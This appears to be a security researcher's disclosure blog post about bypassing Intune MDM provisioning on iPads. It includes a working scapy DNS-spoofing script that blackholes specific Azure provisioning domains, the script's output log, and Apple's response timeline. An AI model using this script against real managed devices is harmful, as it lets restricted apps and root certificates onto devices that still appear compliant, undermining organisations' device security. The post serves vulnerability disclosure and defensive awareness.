Mobile Device Management (MDM) solutions are used to centrally manage mobile devices in corporate environments. This includes the monitoring of the device, automatic installation/removal of apps or certificates and restrict the functionality. Even though MDM solutions exist for multiple vendors, we will look specifically on Apple devices enrolled via Intune. When an Apple device is registered for Automated Device Enrollment (ADE), it will automatically download and apply these policies during the initial setup and prior to the first boot.
During a customer project, we identified a network-based provisioning bypass which prevents the iPad to fetch and apply the provisioning profiles. The iPad boots into an unprovisioned mode without restrictions, which can be kept for an arbitrary amount of time. In this state the user is able to install Apps and Root CA certificates which are trusted for TLS communication This even works, when this is prohibited by the MDM solution. After all modifications are performed, the provisioning process can be resumed at will. The result is a compliant device from the view of the MDM solution, even though apps and certificates have been added.
Setup
The bypass is accomplished, by selectively blocking requests to the server which hosts these provisioning profiles. When the download fails, the profiles are not applied and the iPad boots into an unprovisioned state. This state can be kept by continuing to block these domains.
During the provisioning process however, dozens of domains are queried. Identifying the exact domains, that should be blocked requires a lot of trial and error. If the wrong domains are blocked, the provisioning process can fail and temporarily brick the device.
To identify the relevant domains, a setup is required, that enables us to block arbitrary domains at any point in time without losing the Wi-Fi connection. There are several methods to perform such a setup, but due to my background in Telco security, I settled to use Quantum Insert DNS attack1. This attack just requires monitoring the traffic from the target device what can be accomplished e.g. by creating and Wi-Fi access point using the create_ap script. This script will create a new network interface, that can be used to monitor the traffic. A python script is used to analyze the traffic for DNS requests and answers with a response if a specific domain is requested. This allows to programmatically redirect DNS entries and is implemented in the following code snippet:
from scapy.all import *
def dns_shooter(pkt):
if DNS not in pkt or len(pkt[DNS].qd) == 0 or len(pkt[DNS].ns or b"") > 0:
return
fqdn = pkt[DNS].qd.qname
# Ignore everything but pexsucp*.azure.com domains. e.g.
# pexsucpeu01.northeurope.cloudapp.azure.com
# pexsucpeu02.westeurope.cloudapp.azure.com
# pexsucpeu03.swedencentral.cloudapp.azure.com
if not (b"pexsucp" in fqdn and b"azure.com" in fqdn):
print("----- Ign. DNS ----- ", end="")
print(pkt[DNS].qd.qname.decode("utf-8"))
return
# Prepare Ethernet/IP/UDP headers
resp = Ether(dst=pkt[Ether].src)
resp /= IP(dst=pkt[IP].src, src=pkt[IP].dst)
resp /= UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
# Prepare DNS response
# Spoof DNS response to 8.8.8.8 to blackhole HTTPS request
resp /= DNS(
id=pkt[DNS].id,
qd=pkt[DNS].qd,
aa=1,
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=0,
arcount=0,
ar=DNSRR(
rrname=pkt[DNS].qd.qname,
type='A',
ttl=60,
rdata='8.8.8.8')
)
# Send packet
sendp(resp, iface=iface, realtime=True, verbose=False)
print("##### Shot DNS ##### ", end="")
print(pkt[DNS].qd.qname.decode("utf-8"))
sniff(prn=dns_shooter, iface=iface, filter="udp port 53")Bypass
After several attempts, we found, that blocking the domains pexsucpeu*.northeurope.cloudapp.azure.com in this particular case was sufficient to prevent the enrollment of the policies. This has been tested for iPads on iPadOS version 17.3.1 registered for Automated Device Enrollment (ADE) with Intune The following snippet shows the output of the script during the relevant steps: Konfiguration von "[REDACTED]" installieren and Konfiguration von "[REDACTED]" laden. It can be seen, that only DNS queries to pexsucp*azure.com domains are attacked. Even though, requests to pexsucpeu*.northeurope.cloudapp.azure.com domains have been observed in the installieren step, the profiles are fetched during the laden from the servers.
----- Ign. DNS ----- fef.amsub0102.manage.microsoft.com.
----- Ign. DNS ----- fef.amsub0102.manage.microsoft.com.
----- Ign. DNS ----- amsub0102sfring.westeurope.cloudapp.azure.com.
----- Ign. DNS ----- i.manage.microsoft.com.
----- Ign. DNS ----- i.manage.microsoft.com.
##### Shot DNS ##### pexsucpeu02.westeurope.cloudapp.azure.com.
----- Ign. DNS ----- mask.icloud.com.
----- Ign. DNS ----- mask.icloud.com.
----- Ign. DNS ----- mask.apple-dns.net.
##### Shot DNS ##### pexsucpeu02.westeurope.cloudapp.azure.com.
----- Ign. DNS ----- pki.goog.
----- Ign. DNS ----- pki.goog.
----- Ign. DNS ----- pki-goog.l.google.com.
[...]
----- Ign. DNS ----- stocks-data-service.lb-apple.com.akadns.net.
----- Ign. DNS ----- a1091.dscapi7.akamai.net.
----- Ign. DNS ----- manage-pe.trafficmanager.net.
----- Ign. DNS ----- manage-pe.trafficmanager.net.
----- Ign. DNS ----- manage-pe.trafficmanager.net.
##### Shot DNS ##### pexsucpeu01.northeurope.cloudapp.azure.com.
----- Ign. DNS ----- gsp85-ssl.ls.apple.com.
----- Ign. DNS ----- gsp85-ssl.ls.apple.com.
----- Ign. DNS ----- 35-courier.push.apple.com.
----- Ign. DNS ----- 35-courier.push.apple.com.Once the provisioning is completed, the iPad boots in a provisioned state, where certificates can be added and apps installed. This is shown in the following screenshot.
By unblocking the domains, the application of the profiles continues. However, installed apps and added certificates remain as shown in where the social media apps should be prevented from being installed.
Implications and Disclosure
After communicating this behavior to our customer, we have contacted Apple. According to their response, this behavior is not considered as a security issue and will therefore not be treated accordingly. From a red-team perspective, they have a point as the attacker must have physical access to the device during the provisioning process. Even though this is a network-based attack, the attacker must have physical access in order to install apps or certificates.
From a blue-team perspective, the situation looks different. The implications are, that even MDM managed devices have to be provisioned in a secure environment to ensure their integrity. This can be not practical for certain use cases.
Disclosure Timeline
- April 02, 2024: ERNW provides vulnerability information to Apple, starting the 90-day disclosure period.
- April 02, 2024: Initial response from Apple confirming that they received the report and that the matter is investigated.
- April 03, 2024: Response from Apple stating that MDM profiles provide configuration management but do not establish additional security boundaries beyond what iOS and iPadOS have to offer. Product security analyst passes report to appropriate team for investigation.
- April 17, 2024: ERNW request an update on the issue.
- April 19, 2024: Apple states that they are not tracking this as a security issue and closes the case.
- April 24, 2024: ERNW disagrees and would like Apple to explain its reasoning.
- August 09, 2024: Disclosure of the vulnerability information by ERNW.
We want to thank our customer for allowing us disclosing the vulnerability information to Apple and subsequently publishing the information in this blog post. We appreciate their efforts on improving the software and contributing to sharing vulnerability information with the community while staying anonymous.
Cheers!
Jan